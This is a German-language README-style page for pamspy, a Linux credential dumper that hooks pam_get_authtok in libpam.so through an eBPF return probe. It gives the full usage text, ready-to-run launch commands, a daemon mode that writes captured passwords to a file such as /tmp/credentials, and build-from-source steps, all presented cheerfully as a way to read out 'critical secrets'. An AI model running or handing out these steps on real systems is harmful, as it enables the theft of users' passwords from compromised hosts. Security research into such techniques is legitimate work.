
Credential-Dumper für Linux mit eBPF
pamspy nutzt eBPF-Technologien, um eine äquivalente Arbeit zu 3snake zu leisten.
Es verfolgt eine bestimmte Userland-Funktion innerhalb der PAM-Bibliothek (Pluggable Authentication Modules), die von vielen kritischen Anwendungen zur Authentifizierung verwendet wird, wie:

pamspy wird als statische Binärdatei ohne Abhängigkeiten erstellt und ist auf der Release-Seite verfügbar.
Usage: pamspy [OPTION...]
pamspy
Uses eBPF to dump secrets use by PAM (Authentication) module
By hooking the pam_get_authtok function in libpam.so
USAGE: ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /var/log/trace.0
-d, --daemon=PATH TO OUTPUT CREDENTIALS
Start pamspy in daemon mode and output in the file
passed as argument
-p, --path=PATH Path to the libpam.so file
-r, --print-headers Print headers of the program
-v, --verbose Verbose mode
-?, --help Give this help list
--usage Give a short usage message
-V, --version Print program version
Mandatory or optional arguments to long options are also mandatory or optional
for any corresponding short options.
Report bugs to .
Da pamspy auf libpam angewiesen ist, müssen wir den Pfad angeben, wo libpam auf Ihrer Distribution installiert ist. Um herauszufinden, wo libpam installiert ist, können Sie den folgenden Befehl ausführen:
> /usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4
/lib/x86_64-linux-gnu/libpam.so.0
Sobald Sie den Pfad haben, können Sie pamspy starten:
> ./pamspy -p /lib/x86_64-linux-gnu/libpam.so.0
Eine einfache Möglichkeit, pamspy zu starten, ist die Verwendung des folgenden Befehls:
> ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4)
pamspy kann auch als Daemon gestartet werden, indem eine Ausgabedatei angegeben wird, in die die Anmeldeinformationen geschrieben werden:
./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /tmp/credentials
Um die statische Binärdatei zu erstellen, benötigen wir Drittanbieterprogramme. Für eBPF benötigen wir clang, um den C-Code in eBPF-CO-RE-Code zu kompilieren. Wir verlassen uns auch auf bpftool, um ein Skelett aus dem eBPF-Programm zu erstellen und es in unser Userland-Programm einzubinden. Außerdem benötigen wir libelf, um das korrekte Symbol in libpam zu finden.
sudo apt install make clang-11 gcc libelf-dev bpftool
Dann einfach bauen!
git clone https://github.com/citronneur/pamspy --recursive
cd pamspy/src
make
pamspy lädt ein eBPF-Programm für Userland-Return-Probe, um die Funktion pam_get_authtok aus libpam.so zu hooken. PAM steht für "Pluggable Authentication Modules" und hat ein flexibles Design, um verschiedene Arten der Authentifizierung unter Linux zu verwalten.
Jedes Mal, wenn ein Authentifizierungsprozess versucht, einen neuen Benutzer zu überprüfen, wird pam_get_authtok aufgerufen, und wir sind hier, um den Inhalt der kritischen Geheimnisse auszulesen!
Einfach! Viel Spaß!
Vielen Dank an @blendin für das 3snake-Tool!!!